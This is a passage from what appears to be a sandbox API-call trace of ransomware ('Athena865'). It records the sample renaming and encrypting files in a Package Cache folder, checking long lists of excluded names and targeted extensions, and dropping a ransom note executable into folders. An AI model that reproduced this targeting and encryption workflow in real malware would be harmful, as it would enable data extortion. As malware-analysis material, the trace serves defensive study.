cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0098.534] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=666) returned 1 [0098.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.535] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.535] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.535] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x154 [0098.537] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000 [0098.537] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.538] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.538] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53ef40 [0098.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53ef40 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.540] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.540] CloseHandle (hObject=0x154) returned 1 [0098.540] CloseHandle (hObject=0x17c) returned 1 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.540] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="windows") returned -1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="bootmgr") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="temp") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="pagefile.sys") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="boot") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ids.txt") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ntuser.dat") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="perflogs") returned 1 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="MSBuild") returned 1 [0098.541] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.541] lstrcpyW (in: lpString1=0x241e8d0, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe" [0098.541] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.541] lstrlenW (lpString="Athena865") returned 9 [0098.541] lstrcmpiW (lpString1="t_x64.exe", lpString2="Athena865") returned 1 [0098.541] lstrlenW (lpString=".dll") returned 4 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1 [0098.541] lstrlenW (lpString=".lnk") returned 4 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1 [0098.541] lstrlenW (lpString=".ini") returned 4 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1 [0098.541] lstrlenW (lpString=".sys") returned 4 [0098.541] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1 [0098.541] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.541] lstrlenW (lpString="bak") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0098.542] lstrlenW (lpString="ba_") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0098.542] lstrlenW (lpString="dbb") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0098.542] lstrlenW (lpString="vmdk") returned 4 [0098.542] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0098.542] lstrlenW (lpString="rar") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0098.542] lstrlenW (lpString="zip") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0098.542] lstrlenW (lpString="tgz") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0098.542] lstrlenW (lpString="vbox") returned 4 [0098.542] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0098.542] lstrlenW (lpString="vdi") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0098.542] lstrlenW (lpString="vhd") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0098.542] lstrlenW (lpString="vhdx") returned 4 [0098.542] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0098.542] lstrlenW (lpString="avhd") returned 4 [0098.542] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0098.542] lstrlenW (lpString="db") returned 2 [0098.542] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0098.542] lstrlenW (lpString="db2") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0098.542] lstrlenW (lpString="db3") returned 3 [0098.542] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0098.543] lstrlenW (lpString="dbf") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0098.543] lstrlenW (lpString="mdf") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0098.543] lstrlenW (lpString="mdb") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0098.543] lstrlenW (lpString="sql") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0098.543] lstrlenW (lpString="sqlite") returned 6 [0098.543] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1 [0098.543] lstrlenW (lpString="sqlite3") returned 7 [0098.543] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1 [0098.543] lstrlenW (lpString="sqlitedb") returned 8 [0098.543] lstrcmpiW (lpString1="_x64.exe", lpString2="sqlitedb") returned -1 [0098.543] lstrlenW (lpString="xml") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0098.543] lstrlenW (lpString="$er") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0098.543] lstrlenW (lpString="4dd") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0098.543] lstrlenW (lpString="4dl") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0098.543] lstrlenW (lpString="^^^") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0098.543] lstrlenW (lpString="abs") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0098.543] lstrlenW (lpString="abx") returned 3 [0098.543] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0098.543] lstrlenW (lpString="accdb") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1 [0098.544] lstrlenW (lpString="accdc") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1 [0098.544] lstrlenW (lpString="accde") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1 [0098.544] lstrlenW (lpString="accdr") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1 [0098.544] lstrlenW (lpString="accdt") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1 [0098.544] lstrlenW (lpString="accdw") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1 [0098.544] lstrlenW (lpString="accft") returned 5 [0098.544] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1 [0098.544] lstrlenW (lpString="adb") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.544] lstrlenW (lpString="adb") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.544] lstrlenW (lpString="ade") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0098.544] lstrlenW (lpString="adf") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0098.544] lstrlenW (lpString="adn") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0098.544] lstrlenW (lpString="adp") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0098.544] lstrlenW (lpString="alf") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0098.544] lstrlenW (lpString="ask") returned 3 [0098.544] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0098.545] lstrlenW (lpString="btr") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0098.545] lstrlenW (lpString="cat") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0098.545] lstrlenW (lpString="cdb") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0098.545] lstrlenW (lpString="ckp") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0098.545] lstrlenW (lpString="cma") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0098.545] lstrlenW (lpString="cpd") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0098.545] lstrlenW (lpString="dacpac") returned 6 [0098.545] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1 [0098.545] lstrlenW (lpString="dad") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0098.545] lstrlenW (lpString="dadiagrams") returned 10 [0098.545] lstrcmpiW (lpString1="st_x64.exe", lpString2="dadiagrams") returned 1 [0098.545] lstrlenW (lpString="daschema") returned 8 [0098.545] lstrcmpiW (lpString1="_x64.exe", lpString2="daschema") returned -1 [0098.545] lstrlenW (lpString="db-journal") returned 10 [0098.545] lstrcmpiW (lpString1="st_x64.exe", lpString2="db-journal") returned 1 [0098.545] lstrlenW (lpString="db-shm") returned 6 [0098.545] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1 [0098.545] lstrlenW (lpString="db-wal") returned 6 [0098.545] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1 [0098.545] lstrlenW (lpString="dbc") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0098.545] lstrlenW (lpString="dbs") returned 3 [0098.545] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0098.546] lstrlenW (lpString="dbt") returned 3 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0098.546] lstrlenW (lpString="dbv") returned 3 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0098.546] lstrlenW (lpString="dbx") returned 3 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0098.546] lstrlenW (lpString="dcb") returned 3 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0098.546] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0098.546] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0098.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Athena865") returned 94 [0098.546] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.athena865"), dwFlags=0x1) returned 1 [0098.547] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.547] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=463016) returned 1 [0098.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.548] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.548] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.549] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x713b0, lpName=0x0) returned 0x154 [0098.550] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x713b0) returned 0x2d50000 [0098.589] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.590] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.590] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53ef40 [0098.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53ef40 [0098.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.590] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0098.594] CloseHandle (hObject=0x154) returned 1 [0098.594] CloseHandle (hObject=0x17c) returned 1 [0098.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.597] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0098.597] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.597] ReleaseMutex (hMutex=0xec) returned 1 [0098.597] CloseHandle (hObject=0xec) returned 1 [0098.597] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0098.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522108 | out: hHeap=0x4f0000) returned 1 [0098.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac80 | out: hHeap=0x4f0000) returned 1 [0098.597] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 79 [0098.597] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9B8BFEE6CFCA8497555A9CB6BF1B39C5") returned 0xec [0098.597] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.597] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0098.597] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.597] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.598] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.598] GetLastError () returned 0x0 [0098.598] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ef40 [0098.598] ReadFile (in: hFile=0xf4, lpBuffer=0x53ef40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ef40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.599] CloseHandle (hObject=0xf4) returned 1 [0098.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.599] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.600] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.600] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.600] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.600] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.600] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.600] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.600] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.600] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.600] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ba21c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.600] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.600] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.601] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.601] lstrlenW (lpString="packages") returned 8 [0098.601] lstrcpyW (in: lpString1=0x241e8e8, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac80 [0098.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c588 [0098.601] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.601] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.601] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: 